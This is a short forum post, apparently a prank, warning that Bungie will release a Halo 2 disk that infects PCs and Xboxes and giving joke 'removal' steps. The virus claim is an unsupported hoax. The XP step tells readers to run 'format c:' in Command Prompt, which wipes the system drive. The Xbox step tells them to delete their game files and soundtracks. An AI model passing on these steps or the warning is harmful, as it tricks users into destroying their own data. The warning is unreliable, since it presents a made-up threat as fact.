Sorry for the double post, but it wouldn't let me edit my previous one.
Bungie is not releasing an expansion disk. Instead, they're releasing a disk with the Halo 2 logo on it that you put in your PC or Xbox and it will put a virus on it. DO NOT BUY THE DISK!!!
If you have put the disk in you PC, to remove the virus:
XP users, click on START, click on All Programs, click on Accessories, click on Command Prompt. Type in format c: . Now, go eat a meal and come back two hours later.
95, 98, 98SE, 2000, ME users, go to C:\Windows\system32 folder. Find d3dl.dll, heds.dll, and install.log. Delete those files. If they don't exist, create them and then delete them.
Macintosh users, turn off your computer. Chant "Wake up Mr. Computer" 17 times, tapping the monitor with your fingernail on your pinky on "Wake" and "Computer."
If you have put the disk on your Xbox:
On the dashboard, go into the Memory section and delete all the Halo 2 files from the Xbox and any Memory Cards you have (you must also make sure you have no soundtracks). Now, turn off your Xbox go out for ice cream.